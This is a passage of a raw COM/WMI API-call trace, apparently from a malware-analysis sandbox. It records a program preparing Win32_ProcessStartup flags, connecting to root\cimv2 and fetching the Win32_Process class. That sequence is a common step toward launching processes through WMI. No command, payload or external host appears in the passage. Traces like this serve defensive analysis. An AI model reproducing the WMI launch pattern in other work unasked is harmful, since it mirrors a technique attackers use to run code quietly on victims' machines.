WbemDefPath:IUnknown:AddRef (This=0x1aa0c090) returned 0x3 [0130.923] WbemDefPath:IUnknown:Release (This=0x1aa0c090) returned 0x2 [0130.923] WbemDefPath:IWbemPath:SetText (This=0x1aa0c090, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0130.924] IWbemClassObject:Get (in: This=0x1bb93760, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e22b0*=0, plFlavor=0x27e22b4*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e22b0*=19, plFlavor=0x27e22b4*=0) returned 0x0 [0130.924] IWbemClassObject:Get (in: This=0x1bb93760, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e22b0*=19, plFlavor=0x27e22b4*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e22b0*=19, plFlavor=0x27e22b4*=0) returned 0x0 [0130.924] IWbemClassObject:Put (This=0x1bb93760, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0130.924] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0be50, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0130.924] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0130.924] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0130.924] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0130.924] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0130.924] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0130.924] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0130.925] IUnknown:Release (This=0x1a943398) returned 0x1 [0130.927] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bbbdd80) returned 0x0 [0130.927] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbdd80, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0130.927] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbbdd80, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1aa0c150) returned 0x0 [0130.927] WbemDefPath:IUnknown:Release (This=0x1bbbdd80) returned 0x0 [0130.927] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c150, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1aa0c150) returned 0x0 [0130.927] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c150, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0130.927] WbemDefPath:IUnknown:AddRef (This=0x1aa0c150) returned 0x3 [0130.927] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c150, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0130.927] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c150, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0130.927] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c150, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bbbddc0) returned 0x0 [0130.928] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbbddc0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0130.928] WbemDefPath:IUnknown:Release (This=0x1bbbddc0) returned 0x3 [0130.928] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0130.928] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0130.928] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c150, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0130.928] WbemDefPath:IUnknown:Release (This=0x1aa0c150) returned 0x2 [0130.928] WbemDefPath:IUnknown:Release (This=0x1aa0c150) returned 0x1 [0130.928] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0130.928] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0130.928] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c150, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1aa0c150) returned 0x0 [0130.928] WbemDefPath:IUnknown:AddRef (This=0x1aa0c150) returned 0x3 [0130.928] WbemDefPath:IUnknown:Release (This=0x1aa0c150) returned 0x2 [0130.928] WbemDefPath:IWbemPath:SetText (This=0x1aa0c150, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0130.928] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0c150, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0130.928] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c150, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0130.928] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c150, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0130.928] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0130.928] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0130.929] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0130.929] IUnknown:Release (This=0x1a943398) returned 0x1 [0130.930] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bbbdec0) returned 0x0 [0130.930] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbdec0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0130.930] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bbbdec0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bbbdee0) returned 0x0 [0130.930] WbemLocator:IUnknown:Release (This=0x1bbbdec0) returned 0x0 [0130.930] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbdee0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bbbdee0) returned 0x0 [0130.930] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbdee0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0130.931] WbemLocator:IUnknown:AddRef (This=0x1bbbdee0) returned 0x3 [0130.931] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbdee0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0130.931] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbdee0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0130.931] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbdee0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0130.931] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0130.931] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0130.931] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbdee0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0130.931] WbemLocator:IUnknown:Release (This=0x1bbbdee0) returned 0x2 [0130.931] WbemLocator:IUnknown:Release (This=0x1bbbdee0) returned 0x1 [0130.931] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0130.931] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0130.931] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbdee0, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bbbdee0) returned 0x0 [0130.931] WbemLocator:IUnknown:AddRef (This=0x1bbbdee0) returned 0x3 [0130.931] WbemLocator:IUnknown:Release (This=0x1bbbdee0) returned 0x2 [0130.931] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0c150, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0130.931] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c150, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0130.931] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c150, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0130.931] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bbbdf00) returned 0x0 [0130.932] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bbbdf00, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bbaaf90) returned 0x0 [0131.063] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaaf90, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1aa02f20) returned 0x0 [0131.063] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa02f20, pProxy=0x1bbaaf90, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0131.063] WbemLocator:IUnknown:Release (This=0x1aa02f20) returned 0x1 [0131.063] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaaf90, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1aa02f60) returned 0x0 [0131.063] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaaf90, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1aa02f20) returned 0x0 [0131.063] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa02f20, pProxy=0x1bbaaf90, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0131.063] WbemLocator:IUnknown:Release (This=0x1aa02f20) returned 0x2 [0131.064] WbemLocator:IUnknown:Release (This=0x1aa02f60) returned 0x1 [0131.064] CoTaskMemFree (pv=0x1bba6420) [0131.064] WbemLocator:IUnknown:AddRef (This=0x1bbaaf90) returned 0x2 [0131.064] WbemLocator:IUnknown:Release (This=0x1bbbdf00) returned 0x0 [0131.064] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0131.066] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0131.066] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaaf90, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1aa02f30) returned 0x0 [0131.066] WbemLocator:IRpcOptions:Query (in: This=0x1aa02f30, pPrx=0x1bbbdf60, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0131.066] WbemLocator:IUnknown:Release (This=0x1aa02f30) returned 0x2 [0131.066] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0131.066] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0131.066] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaaf90, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bbaaf90) returned 0x0 [0131.066] WbemLocator:IUnknown:Release (This=0x1bbaaf90) returned 0x2 [0131.066] SysStringLen (param_1=0x0) returned 0x0 [0131.066] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0c150, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0131.066] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c150, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0131.067] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c150, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0131.067] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0be50, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0131.067] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0be50, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0131.067] IWbemServices:GetObject (in: This=0x1bbaaf90, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bb93ad0, ppCallResult=0x0) returned 0x0 [0131.070] IWbemClassObject:Get (in: This=0x1bb93ad0, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0131.070] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0131.070] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0131.071] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0131.071] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0131.071] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0131.071] IUnknown:Release (This=0x1a943398) returned 0x1 [0131.073] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bbbdf00) returned 0x0 [0131.073] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbdf00, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0131.073] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbbdf00, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bbbece0) returned 0x0 [0131.074] WbemDefPath:IUnknown:Release (This=0x1bbbdf00) returned 0x0 [0131.074] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbece0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bbbece0) returned 0x0 [0131.074] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbece0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0131.074] WbemDefPath:IUnknown:AddRef (This=0x1bbbece0) returned 0x3 [0131.074] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbece0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0131.074] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbece0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0131.074] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbece0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bbbdf20) returned 0x0 [0131.074] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbbdf20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0131.074] WbemDefPath:IUnknown:Release 